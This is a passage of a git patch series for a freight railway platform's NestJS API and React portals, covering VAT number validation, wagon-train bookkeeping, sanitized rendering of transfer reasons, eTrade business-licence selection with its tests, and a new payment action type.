--git a/apps/edr-freight-api/src/modules/eims/eims.types.ts b/apps/edr-freight-api/src/modules/eims/eims.types.ts index 8cea86619..6e74604bd 100644 --- a/apps/edr-freight-api/src/modules/eims/eims.types.ts +++ b/apps/edr-freight-api/src/modules/eims/eims.types.ts @@ -1,5 +1,6 @@ /** - * Wire types for the MoR EIMS gateway, + * Wire types for the MoR EIMS gateway, taken from the supplied Postman collection. + * * Every protected payload is the same envelope: the business object under `request`, a base64 * RSA-SHA512 signature over the *inner* object only, and the base64 certificate bundle. */ From c24c93bcf347ac2840ba396344ab7f4a1f5365af Mon Sep 17 00:00:00 2001 From: Nathnael Date: Mon, 10 Aug 2026 13:56:25 +0000 Subject: [PATCH 07/13] feat: add 11 digit vat --- .../modules/companies/dto/update-profile.dto.ts | 10 +++++----- .../accounts/companyProfileForm/schema.test.ts | 14 +++++++++++++- .../pages/accounts/companyProfileForm/schema.ts | 2 +- .../companyProfileForm/steps/CompanyInfoStep.tsx | 4 ++-- .../src/pages/settings/TabCompanyProfile.tsx | 4 ++-- 5 files changed, 23 insertions(+), 11 deletions(-) diff --git a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts index 214c3858a..c89326fa1 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/update-profile.dto.ts @@ -36,13 +36,13 @@ export class UpdateProfileDto { @IsTin({ message: "TIN must be exactly 10 digits" }) tin?: string; - // Ethiopian VAT registration numbers are 10 digits, the same shape as the - // TIN. Both portal forms enforce that; without it here the API happily stored - // whatever a stale client sent, and the two layers disagreed about what the - // column may hold. + // Ethiopian VAT registration numbers are 10 digits (the same shape as the + // TIN), but some are issued with an 11th. Both portal forms enforce the same + // range; without it here the API happily stored whatever a stale client sent, + // and the two layers disagreed about what the column may hold. @IsOptional() @IsString() - @Matches(/^\d{10}$/, { message: "VAT number must be exactly 10 digits" }) + @Matches(/^\d{10,11}$/, { message: "VAT number must be 10 or 11 digits" }) vatNumber?: string; // `fanNumber` is deliberately absent: the FAN is the Fayda number of the diff --git a/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.test.ts b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.test.ts index f38d54432..0d357f691 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.test.ts +++ b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.test.ts @@ -59,10 +59,22 @@ describe("VAT number", () => { ).toBeUndefined(); }); + it("accepts eleven digits", () => { + expect( + errorFor(values({ vatNumber: "00123456789" }), "vatNumber"), + ).toBeUndefined(); + }); + + it("rejects twelve digits", () => { + expect(errorFor(values({ vatNumber: "001234567890" }), "vatNumber")).toBe( + "VAT number must be 10 or 11 digits", + ); + }); + // `.length(10)` used to pass this, so a ten-letter string reached the API. it("rejects ten non-digits", () => { expect(errorFor(values({ vatNumber: "ABCDEFGHIJ" }), "vatNumber")).toBe( - "VAT number must be exactly 10 digits", + "VAT number must be 10 or 11 digits", ); }); diff --git a/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.ts b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.ts index 37f92e05e..db48667db 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.ts +++ b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/schema.ts @@ -25,7 +25,7 @@ export const onboardingSchema = z.object({ vatNumber: z .string() .min(1, "VAT number is required") - .regex(/^\d{10}$/, "VAT number must be exactly 10 digits"), + .regex(/^\d{10,11}$/, "VAT number must be 10 or 11 digits"), // The owner's passport number — the foreign-company identity credential // (Fayda is an Ethiopian national ID). Required only for a foreign company; // enforced in buildOnboardingSchema since that depends on `nationality`. diff --git a/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/steps/CompanyInfoStep.tsx b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/steps/CompanyInfoStep.tsx index 3f37506a4..978377151 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/steps/CompanyInfoStep.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/companyProfileForm/steps/CompanyInfoStep.tsx @@ -51,7 +51,7 @@ export default function CompanyInfoStep({ index={1} title="VAT number" status={ - watch("vatNumber")?.length === 10 && !errors.vatNumber + (watch("vatNumber")?.length ?? 0) >= 10 && !errors.vatNumber ? "done" : "todo" } @@ -59,7 +59,7 @@ export default function CompanyInfoStep({ diff --git a/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx b/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx index 6a315392c..deaec110f 100644 --- a/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx +++ b/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx @@ -46,7 +46,7 @@ export const COMPANY_PROFILE_SCHEMA = z.object({ vatNumber: z .string() .min(1, "VAT number is required") - .regex(/^\d{10}$/, "VAT number must be exactly 10 digits"), + .regex(/^\d{10,11}$/, "VAT number must be 10 or 11 digits"), ownerPassportNumber: z.string().optional(), // Registration/address fields are eTrade-sourced — locked once eTrade // supplies a value, editable only as an escape hatch when it doesn't @@ -332,7 +332,7 @@ export default function TabCompanyProfile({ From e29e3ff8371b692f36e634702b7f0750c49b6c94 Mon Sep 17 00:00:00 2001 From: Marshal Date: Mon, 10 Aug 2026 14:02:13 +0000 Subject: [PATCH 08/13] fix(freight-backoffice): render wagon transfer reason as sanitized HTML in a modal --- .../modules/trains/train-builder.service.ts | 16 ++++- .../src/pages/fleet/FleetResourcePage.tsx | 18 +++++- .../src/pages/fleet/config/resources.ts | 9 ++- .../src/pages/wagons/TransferHistoryPanel.tsx | 5 +- .../src/pages/wagons/WagonTransfersPage.tsx | 61 +++++++++++++++++-- .../src/pages/wagons/wagon-transfer-ui.tsx | 10 +++ 6 files changed, 108 insertions(+), 11 deletions(-) diff --git a/apps/edr-freight-api/src/modules/trains/train-builder.service.ts b/apps/edr-freight-api/src/modules/trains/train-builder.service.ts index fbb5301fb..9da3cecf0 100644 --- a/apps/edr-freight-api/src/modules/trains/train-builder.service.ts +++ b/apps/edr-freight-api/src/modules/trains/train-builder.service.ts @@ -510,6 +510,8 @@ export class TrainBuilderService { trainId: null, sequenceNumber: null, status: WagonStatus.Available, + importTrainNumber: null, + exportTrainNumber: null, }); await this.resequenceWagons(manager, train.id); await this.syncLiveScheduleAfterConsistChange( @@ -544,6 +546,8 @@ export class TrainBuilderService { trainId: null, sequenceNumber: null, status: WagonStatus.Maintenance, + importTrainNumber: null, + exportTrainNumber: null, }); // Audit row: which train it came off and when. The wagon does not change // yard here, so from/to are the same — the ledger is the wagon's history @@ -761,7 +765,13 @@ export class TrainBuilderService { .getRepository(Wagon) .update( { trainId: train.id }, - { trainId: null, sequenceNumber: null, status: WagonStatus.Available }, + { + trainId: null, + sequenceNumber: null, + status: WagonStatus.Available, + importTrainNumber: null, + exportTrainNumber: null, + }, ); await manager.getRepository(TrainLocomotive).delete({ trainId: train.id }); await manager.getRepository(Train).remove(train); @@ -1021,6 +1031,10 @@ export class TrainBuilderService { trainId: train.id, sequenceNumber: sequence, status: WagonStatus.Assigned, + // Wagon inherits the train's run numbers on coupling — no per-wagon + // number entry, they ride whatever numbers the train was built with. + importTrainNumber: train.importTrainNumber, + exportTrainNumber: train.exportTrainNumber, }); } return toAttach; diff --git a/apps/edr-freight-web/backoffice/src/pages/fleet/FleetResourcePage.tsx b/apps/edr-freight-web/backoffice/src/pages/fleet/FleetResourcePage.tsx index 6bea10a8c..06d9a20ab 100644 --- a/apps/edr-freight-web/backoffice/src/pages/fleet/FleetResourcePage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/fleet/FleetResourcePage.tsx @@ -102,6 +102,7 @@ const FleetResourcePage = () => { const currentYardId = listFilterValues.currentYardId; const availability = listFilterValues.availability; const trainNumber = listFilterValues.trainNumber; + const trainId = listFilterValues.trainId; if (status && status !== "ALL") { (filters as { status?: string }).status = status; } @@ -114,6 +115,9 @@ const FleetResourcePage = () => { if (trainNumber && trainNumber !== "ALL") { (filters as { trainNumber?: string }).trainNumber = trainNumber; } + if (trainId && trainId !== "ALL") { + filters.trainId = trainId; + } // Wagons only: narrow the fleet to one wagon type (the API filters on it). const wagonTypeId = listFilterValues.wagonTypeId; if (wagonTypeId && wagonTypeId !== "ALL") { @@ -191,6 +195,11 @@ const FleetResourcePage = () => { const { data: drivers = [] } = useQuery( api.fleet.list.queryOptions({ input: { slug: "drivers" } }), ); + // Wagons-only: "Train" list filter needs every train's code to pick from. + const { data: trains = [], isLoading: trainsLoading } = useQuery({ + ...api.trains.list.queryOptions(), + enabled: slug === "wagons", + }); useEffect(() => { setPagination((prev) => ({ pageIndex: 0, pageSize: prev.pageSize })); @@ -247,6 +256,9 @@ const FleetResourcePage = () => { const yardOpts = (yards as Array<{ id: string; label?: string; code?: string }>).map( (y) => ({ value: y.id, label: y.label ?? y.code ?? y.id }), ); + const trainOpts = (trains as Array<{ id: string; code: string; trainName?: string | null }>).map( + (t) => ({ value: t.id, label: t.trainName ? `${t.code} - ${t.trainName}` : t.code }), + ); // Carries capacity + trailer configuration so picking a truck type can // pre-fill the vehicle's capacity and drop the trailer plate on a rigid type. @@ -274,8 +286,9 @@ const FleetResourcePage = () => { wagons: [{ label: "Unassigned", value: FLEET_SELECT_NONE }, ...wagonOpts], containers: containerOpts, yards: yardOpts, + trains: trainOpts, }; - }, [wagonTypes, containerTypes, cargoTypes, truckTypes, wagons, containers, yards]); + }, [wagonTypes, containerTypes, cargoTypes, truckTypes, wagons, containers, yards, trains]); const listFilterSelects = useMemo(() => { if (!config?.listFilters?.length) return null; @@ -327,7 +340,8 @@ const FleetResourcePage = () => { truckTypesLoading || wagonsLoading || containersLoading || - yardsLoading; + yardsLoading || + trainsLoading; const filteredRows = useMemo(() => { if (!config) return allRows; diff --git a/apps/edr-freight-web/backoffice/src/pages/fleet/config/resources.ts b/apps/edr-freight-web/backoffice/src/pages/fleet/config/resources.ts index 9ba826e6f..11ca236be 100644 --- a/apps/edr-freight-web/backoffice/src/pages/fleet/config/resources.ts +++ b/apps/edr-freight-web/backoffice/src/pages/fleet/config/resources.ts @@ -33,7 +33,8 @@ export type FleetDynamicOptions = | "truckTypes" | "wagons" | "containers" - | "yards"; + | "yards" + | "trains"; /** * A dynamic select option that can carry the record it came from. Picking a @@ -324,6 +325,12 @@ export const FLEET_RESOURCES: FleetResourceConfig[] = [ allLabel: "All trains", options: TRAIN_RUN_FILTER_OPTIONS, }, + { + key: "trainId", + label: "Train", + allLabel: "All trains", + dynamicOptions: "trains", + }, ], cardTitleKey: "wagonNumber", cardSubtitleKey: "currentYard", diff --git a/apps/edr-freight-web/backoffice/src/pages/wagons/TransferHistoryPanel.tsx b/apps/edr-freight-web/backoffice/src/pages/wagons/TransferHistoryPanel.tsx index dff9cdaa3..807745b73 100644 --- a/apps/edr-freight-web/backoffice/src/pages/wagons/TransferHistoryPanel.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/wagons/TransferHistoryPanel.tsx @@ -35,6 +35,7 @@ import { STATUS_META, TransferProgress, TransferStatusBadge, + stripHtmlToText, wagonTypeLabel, yardLabel, } from "./wagon-transfer-ui"; @@ -119,9 +120,9 @@ function RequestItem({ request }: { request: WagonTransferRequest }) { {wagonTypeLabel(request.wagonType)} - {request.reason ? ( + {stripHtmlToText(request.reason) ? ( - {request.reason} + {stripHtmlToText(request.reason)} ) : null} diff --git a/apps/edr-freight-web/backoffice/src/pages/wagons/WagonTransfersPage.tsx b/apps/edr-freight-web/backoffice/src/pages/wagons/WagonTransfersPage.tsx index 95705e964..1a08b5c54 100644 --- a/apps/edr-freight-web/backoffice/src/pages/wagons/WagonTransfersPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/wagons/WagonTransfersPage.tsx @@ -10,6 +10,7 @@ import { Tabs, Text, TextInput, + UnstyledButton, } from "@mantine/core"; import { useDebouncedValue } from "@mantine/hooks"; import { useQuery } from "@tanstack/react-query"; @@ -31,6 +32,7 @@ import { useMutation } from "@tanstack/react-query"; import { useAuth } from "@/auth/useAuth"; import { KpiStrip, PageContainer, PageHeader } from "@/components/page"; import { FREIGHT_PERMS, hasPermission } from "@/lib/permissions"; +import { sanitizeHtml } from "@/shared/lib/sanitize"; import { api } from "@/services/api"; import type { TransferRequestListFilter, @@ -55,6 +57,7 @@ import { fmtDateTime, isOpenRequest, outstandingOn, + stripHtmlToText, wagonTypeLabel, yardLabel, } from "./wagon-transfer-ui"; @@ -108,6 +111,9 @@ export default function WagonTransfersPage() { const [closingShort, setClosingShort] = useState( null, ); + const [viewingReason, setViewingReason] = useState( + null, + ); const filter: TransferRequestListFilter = useMemo( () => ({ @@ -197,11 +203,29 @@ export default function WagonTransfersPage() { { id: "reason", header: () => Reason, - cell: ({ row }) => ( - - {row.original.reason || "—"} - - ), + cell: ({ row }) => { + const text = stripHtmlToText(row.original.reason); + return text ? ( + setViewingReason(row.original)} + data-stop-row-click + > + + {text} + + + ) : ( + + — + + ); + }, }, { id: "filed", @@ -522,6 +546,33 @@ export default function WagonTransfersPage() { )} + setViewingReason(null)} + radius="md" + title="Reason" + > + {!viewingReason ? null : ( + + + {yardLabel(viewingReason.fromYard)}{" "} + {" "} + {yardLabel(viewingReason.toYard)} ·{" "} + {wagonTypeLabel(viewingReason.wagonType)} ·{" "} + {viewingReason.quantity} wagon(s) + + + + )} + ); } diff --git a/apps/edr-freight-web/backoffice/src/pages/wagons/wagon-transfer-ui.tsx b/apps/edr-freight-web/backoffice/src/pages/wagons/wagon-transfer-ui.tsx index e60480590..ea73a95d2 100644 --- a/apps/edr-freight-web/backoffice/src/pages/wagons/wagon-transfer-ui.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/wagons/wagon-transfer-ui.tsx @@ -3,6 +3,16 @@ import { Badge, Box, Group, Progress, Text, Tooltip } from "@mantine/core"; import type { WagonTransferRequest } from "@/services/wagon.service"; +/** Reason/note fields come from a rich-text editor and store HTML — this + * gives a plain-text preview for list/table contexts (full formatting is + * shown via `sanitizeHtml` + `dangerouslySetInnerHTML` where there's room). */ +export const stripHtmlToText = (html?: string | null): string => + (html ?? "") + .replace(/<[^>]*>/g, " ") + .replace(/ /g, " ") + .replace(/\s+/g, " ") + .trim(); + export const yardLabel = (y?: { label?: string; code?: string } | null) => y?.label || y?.code || "—"; From 615f7e679818d288c3a89208a1e81e61ea1d3f42 Mon Sep 17 00:00:00 2001 From: Nathnael Date: Mon, 10 Aug 2026 14:49:17 +0000 Subject: [PATCH 09/13] feat: add choice to etrade fetcher --- .../modules/companies/companies.controller.ts | 1 + .../modules/companies/companies.service.ts | 22 ++- .../companies/dto/etrade-response.dto.ts | 4 +- .../modules/companies/dto/fetch-etrade.dto.ts | 12 +- .../etrade-business-selection.spec.ts | 87 +++++++++ .../companies/services/etrade.service.ts | 29 ++- .../src/modules/payment/payments.dto.ts | 11 +- .../src/components/onboarding/ETradeInfo.tsx | 184 ++++++++++++++++-- .../portal/src/hooks/useETradeData.ts | 11 +- .../src/pages/accounts/CompanyProfileForm.tsx | 4 +- .../companyProfileForm/ETradeCompanyCard.tsx | 126 ++---------- .../accounts/companyProfileForm/helpers.ts | 7 +- .../companyProfileForm/schema.test.ts | 23 ++- .../accounts/companyProfileForm/schema.ts | 46 ++--- .../steps/CompanyInfoStep.tsx | 10 +- .../src/pages/settings/TabCompanyProfile.tsx | 168 +++------------- .../portal/src/services/companies.service.ts | 5 +- packages/types/src/freight/etrade.ts | 23 ++- 18 files changed, 443 insertions(+), 330 deletions(-) create mode 100644 apps/edr-freight-api/src/modules/companies/services/etrade-business-selection.spec.ts diff --git a/apps/edr-freight-api/src/modules/companies/companies.controller.ts b/apps/edr-freight-api/src/modules/companies/companies.controller.ts index 78f8db410..de7a01484 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.controller.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.controller.ts @@ -210,6 +210,7 @@ export class CompaniesController { const data = await this.companiesService.fetchETradeData( dto.tin, companyId, + dto.licenceNumber, ); return new ETradeResponseDto(data); } diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index 0ed91c9e3..5dd55e704 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -3541,9 +3541,10 @@ export class CompaniesService { /** Resolve a TIN's live eTrade registration data. Throws when eTrade has no matching business licence. */ private async resolveEtradeRegistration( tin: string, + licenceNumber?: string, ): Promise { const { businessInfo, companyInfo } = - await this.etradeService.resolveCompanyData(tin); + await this.etradeService.resolveCompanyData(tin, licenceNumber); if (!businessInfo) { throw new BadRequestException( "We couldn't find a business license for this TIN with eTrade. Please double-check the number and try again.", @@ -3555,8 +3556,15 @@ export class CompaniesService { ); } - async fetchETradeData(tin: string, excludeCompanyId?: string) { - const registrationData = await this.resolveEtradeRegistration(tin); + async fetchETradeData( + tin: string, + excludeCompanyId?: string, + licenceNumber?: string, + ) { + const registrationData = await this.resolveEtradeRegistration( + tin, + licenceNumber, + ); const tinTaken = await this.companiesRepo.existsByTin( tin, excludeCompanyId, @@ -3583,7 +3591,13 @@ export class CompaniesService { if (!touched) return; const tin = dto.tin ?? company.tin; - const registration = await this.resolveEtradeRegistration(tin); + // Re-verify the licence the customer actually chose. Without it a TIN + // holding several licences would silently snap back to eTrade's first one on + // every save, overwriting the selection with a different business's record. + const registration = await this.resolveEtradeRegistration( + tin, + dto.licenceNumber ?? company.licenceNumber ?? undefined, + ); const fresh: Partial< Record<(typeof ETRADE_SOURCED_FIELDS)[number], string> > = { diff --git a/apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts index bfe1f9b72..40b1f308e 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/etrade-response.dto.ts @@ -1,4 +1,4 @@ -import { CompanyRegistrationData } from "@edr/types"; +import { CompanyRegistrationData, ETradeBusinessOption } from "@edr/types"; export class ETradeResponseDto implements CompanyRegistrationData { companyName!: string; @@ -19,6 +19,7 @@ export class ETradeResponseDto implements CompanyRegistrationData { managerEmail?: string; managerPhone!: string; tinTaken?: boolean; + businesses?: ETradeBusinessOption[]; constructor(data: CompanyRegistrationData) { this.companyName = data.companyName; @@ -39,5 +40,6 @@ export class ETradeResponseDto implements CompanyRegistrationData { this.managerEmail = data.managerEmail; this.managerPhone = data.managerPhone; this.tinTaken = data.tinTaken; + this.businesses = data.businesses; } } diff --git a/apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts index 466c03ed6..9ca533835 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/fetch-etrade.dto.ts @@ -1,4 +1,4 @@ -import { IsString, IsNotEmpty } from "class-validator"; +import { IsString, IsNotEmpty, IsOptional, MaxLength } from "class-validator"; import { IsTin } from "../../../common/validators/is-tin.validator"; export class FetchETradeDto { @@ -6,4 +6,14 @@ export class FetchETradeDto { @IsNotEmpty() @IsTin({ message: "TIN must be exactly 10 digits" }) tin!: string; + + /** + * Which of the TIN's business licences to resolve. Omitted on the first + * lookup — the response lists them all so the customer can pick, and the pick + * comes back here. + */ + @IsOptional() + @IsString() + @MaxLength(100) + licenceNumber?: string; } diff --git a/apps/edr-freight-api/src/modules/companies/services/etrade-business-selection.spec.ts b/apps/edr-freight-api/src/modules/companies/services/etrade-business-selection.spec.ts new file mode 100644 index 000000000..0719d7fe8 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/services/etrade-business-selection.spec.ts @@ -0,0 +1,87 @@ +import { ETradeService } from './etrade.service'; +import type { ETradeBusinessInfo, ETradeCompanyInfo } from '@edr/types'; + +/** + * A TIN routinely holds several business licences (import of vehicles, export of + * coffee, freight forwarding…), all under the same trade name. The customer + * picks one, and every later lookup has to resolve that same licence — snapping + * back to eTrade's first would silently swap their company record. + */ +const companyInfo = (): ETradeCompanyInfo => + ({ + Tin: '0045014036', + BusinessName: 'PAVE LOGISTICS AND TRADING P L C', + Businesses: [ + { + LicenceNumber: 'MT/AA/14/670/11551235/2017', + TradesName: 'PAVE LOGISTICS AND TRADING P L C', + RenewedTo: '7/7/2026', + SubGroups: [ + { Code: 66331, Description: 'Export trade in minerals' }, + ], + }, + { + LicenceNumber: 'MT/AA/14/670/128936/2007', + TradesName: 'PAVE LOGISTICS AND TRADING P L C', + RenewedTo: '7/7/2026', + SubGroups: [{ Code: 72131, Description: '(72131)Freight Forwarders' }], + }, + ], + }) as unknown as ETradeCompanyInfo; + +describe('ETradeService business selection', () => { + const build = () => { + const service = new ETradeService({} as never); + const fetched: string[] = []; + jest + .spyOn(service, 'getCompanyInfoByTin') + .mockResolvedValue(companyInfo()); + jest + .spyOn(service, 'getBusinessByLicenseNo') + .mockImplementation(async (licenceNo: string) => { + fetched.push(licenceNo); + return { LicenceNumber: licenceNo } as ETradeBusinessInfo; + }); + return { service, fetched }; + }; + + it('defaults to the first licence when none is chosen', async () => { + const { service, fetched } = build(); + await service.resolveCompanyData('0045014036'); + expect(fetched).toEqual(['MT/AA/14/670/11551235/2017']); + }); + + it('resolves the chosen licence', async () => { + const { service, fetched } = build(); + await service.resolveCompanyData('0045014036', 'MT/AA/14/670/128936/2007'); + expect(fetched).toEqual(['MT/AA/14/670/128936/2007']); + }); + + it('falls back to the first licence when the chosen one is gone', async () => { + const { service, fetched } = build(); + await service.resolveCompanyData('0045014036', 'NO/SUCH/LICENCE'); + expect(fetched).toEqual(['MT/AA/14/670/11551235/2017']); + }); + + it('lists every licence for the picker, code prefixes stripped', () => { + const { service } = build(); + const data = service.extractRegistrationData( + { LicenceNumber: 'x' } as ETradeBusinessInfo, + companyInfo(), + ); + expect(data.businesses).toEqual([ + { + licenceNumber: 'MT/AA/14/670/11551235/2017', + tradeName: 'PAVE LOGISTICS AND TRADING P L C', + activity: 'Export trade in minerals', + renewedTo: '7/7/2026', + }, + { + licenceNumber: 'MT/AA/14/670/128936/2007', + tradeName: 'PAVE LOGISTICS AND TRADING P L C', + activity: 'Freight Forwarders', + renewedTo: '7/7/2026', + }, + ]); + }); +}); diff --git a/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts b/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts index 3292ee2d3..45cc8e840 100644 --- a/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts +++ b/apps/edr-freight-api/src/modules/companies/services/etrade.service.ts @@ -66,7 +66,15 @@ export class ETradeService { } } - async resolveCompanyData(tin: string): Promise<{ + /** + * @param licenceNumber which of the TIN's licences to resolve. Defaults to the + * first one — a TIN with several licences is only unambiguous once the + * customer has picked one (see {@link ETradeBusinessOption}). + */ + async resolveCompanyData( + tin: string, + licenceNumber?: string, + ): Promise<{ companyInfo: ETradeCompanyInfo; businessInfo: ETradeBusinessInfo | null; }> { @@ -76,10 +84,15 @@ export class ETradeService { return { companyInfo, businessInfo: null }; } - const latestBusiness = companyInfo.Businesses[0]; + // An unknown licence falls back to the first rather than 400-ing: eTrade can + // drop or renumber a licence between the customer picking it and the save + // that re-verifies it, and that must not lock them out of their own profile. + const selected = + companyInfo.Businesses.find((b) => b.LicenceNumber === licenceNumber) ?? + companyInfo.Businesses[0]; try { const businessInfo = await this.getBusinessByLicenseNo( - latestBusiness.LicenceNumber, + selected.LicenceNumber, tin, ); return { companyInfo, businessInfo }; @@ -124,6 +137,16 @@ export class ETradeService { regularPhone: businessInfo.AddressInfo?.RegularPhone || "", managerName: primaryManager?.ManagerNameEng || "", managerPhone: primaryManager?.RegularPhone || "", + businesses: (companyInfo?.Businesses ?? []).map((b) => ({ + licenceNumber: b.LicenceNumber, + tradeName: b.TradesName?.trim() || "", + activity: (b.SubGroups ?? []) + // Some descriptions repeat the code inline ("(65611)Import trade …"). + .map((g) => g.Description?.replace(/^\(\d+\)\s*/, "").trim()) + .filter(Boolean) + .join(", "), + renewedTo: b.RenewedTo || "", + })), }; } } diff --git a/apps/edr-freight-api/src/modules/payment/payments.dto.ts b/apps/edr-freight-api/src/modules/payment/payments.dto.ts index ee7b703d2..92ff7dc38 100644 --- a/apps/edr-freight-api/src/modules/payment/payments.dto.ts +++ b/apps/edr-freight-api/src/modules/payment/payments.dto.ts @@ -69,6 +69,7 @@ export class ClientActionDto { "LAUNCH_APP", "INVOKE_BRIDGE", "COLLECT_OTP", + "AWAIT_PUSH", "SHOW_BILL_REFERENCE", ], }) @@ -77,6 +78,7 @@ export class ClientActionDto { | "LAUNCH_APP" | "INVOKE_BRIDGE" | "COLLECT_OTP" + | "AWAIT_PUSH" | "SHOW_BILL_REFERENCE"; @ApiPropertyOptional({ description: "Set when type=REDIRECT (web flow)" }) @@ -104,9 +106,16 @@ export class ClientActionDto { @ApiPropertyOptional({ description: "Set when type=COLLECT_OTP (e.g. CAC Bank)" }) providerOrderId?: string; - @ApiPropertyOptional({ description: "Set when type=COLLECT_OTP" }) + @ApiPropertyOptional({ + description: "Set when type=COLLECT_OTP or type=AWAIT_PUSH", + }) message?: string; + @ApiPropertyOptional({ + description: "Set when type=AWAIT_PUSH (masked MSISDN the push prompt went to)", + }) + payerAccountMasked?: string; + @ApiPropertyOptional({ description: "Set when type=SHOW_BILL_REFERENCE (CBE bill payment)", }) diff --git a/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx index 74e267a30..56273351d 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/ETradeInfo.tsx @@ -1,7 +1,17 @@ -import { Alert, Button, Loader, Stack, TextInput } from "@mantine/core"; -import { useEffect, useRef } from "react"; +import { + Alert, + Button, + Card, + Group, + Loader, + Radio, + Stack, + Text, + TextInput, +} from "@mantine/core"; +import { useEffect, useRef, useState } from "react"; import type { UseFormRegisterReturn } from "react-hook-form"; -import { AlertCircle, Download } from "lucide-react"; +import { AlertCircle, Building2, Download } from "lucide-react"; import { useETradeData } from "@/hooks/useETradeData"; import { extractApiError } from "@/utils/result"; import type { CompanyRegistrationData } from "@edr/types"; @@ -12,6 +22,8 @@ export type ETradeStatus = | "verified" | "not-found" | "taken" + /** eTrade returned several business licences; the customer must pick one. */ + | "choose-business" | "error"; interface ETradeInfoProps { @@ -36,6 +48,12 @@ interface ETradeInfoProps { * stays available for a deliberate re-verify. */ alreadyVerified?: boolean; + /** + * The licence this company already operates under, if any. Pre-selects it in + * the picker so a deliberate re-verify refreshes that same business rather + * than silently snapping to eTrade's first one. + */ + selectedLicenceNumber?: string; } // Digits, not just length: a 10-character non-numeric TIN used to fire a lookup @@ -51,6 +69,7 @@ export default function ETradeInfo({ onStatusChange, onReset, alreadyVerified, + selectedLicenceNumber, }: ETradeInfoProps) { const mutation = useETradeData(); const isLoading = mutation.isPending; @@ -61,14 +80,39 @@ export default function ETradeInfo({ // user has typed a different TIN and overwrite its fields with stale data. const requestIdRef = useRef(0); - const handleFetch = async () => { + // Which of the TIN's licences the customer operates as. A ref alongside the + // state because handleFetch is called from an effect that doesn't re-run on + // this value. + const [licence, setLicence] = useState( + selectedLicenceNumber || null, + ); + const licenceRef = useRef(licence); + licenceRef.current = licence; + + const handleFetch = async (chosen = licenceRef.current) => { if (!isValidTin(tin)) return; const requestId = ++requestIdRef.current; - const result = await mutation.mutateAsync(tin); + const result = await mutation.mutateAsync({ + tin, + licenceNumber: chosen ?? undefined, + }); if (requestIdRef.current !== requestId) return; - if (result && !result.tinTaken) { - onDataLoaded(result); - } + if (!result || result.tinTaken) return; + // Several licences and no pick yet: the registration data describes only + // eTrade's first one, so it must not be adopted as this company's record + // until the customer says which business they're acting as. + if (!chosen && (result.businesses?.length ?? 0) > 1) return; + onDataLoaded(result); + }; + + // The picker collapses to a one-line summary + "Change" once a business is + // settled on; it only stays open while the choice is still outstanding. + const [pickerOpen, setPickerOpen] = useState(false); + + const handleChooseBusiness = (value: string) => { + setLicence(value); + setPickerOpen(false); + handleFetch(value); }; // Auto-fetch as soon as the TIN reaches its full 10-digit length — only @@ -87,8 +131,12 @@ export default function ETradeInfo({ if (tin !== lastFetchedTin.current) { // TIN moved away from whatever we last fetched — that result (verified // data, "taken", or an error) no longer describes this TIN. Drop it so - // the UI doesn't keep showing the previous TIN's outcome. + // the UI doesn't keep showing the previous TIN's outcome. The licence pick + // belongs to the old TIN too, so it goes with it (via the ref as well, so + // the fetch below doesn't reuse it before the state lands). requestIdRef.current++; + licenceRef.current = null; + setLicence(null); if (mutation.data || mutation.error) { mutation.reset(); onReset?.(); @@ -116,17 +164,28 @@ export default function ETradeInfo({ : apiError.message : null; + const businesses = mutation.data?.businesses ?? []; + const chosenBusiness = businesses.find((b) => b.licenceNumber === licence); + // More than one licence and none of them picked: the lookup succeeded but + // this company's record is still undecided, so it must not read as verified. + // Matched against the list rather than `licence` alone — a saved licence + // eTrade no longer lists is not a choice among what it offers today. + const needsChoice = businesses.length > 1 && !chosenBusiness; + const showPicker = needsChoice || pickerOpen; + const status: ETradeStatus = isLoading ? "loading" : tinTaken ? "taken" - : mutation.isSuccess && mutation.data && !mutation.data.tinTaken - ? "verified" - : notFound - ? 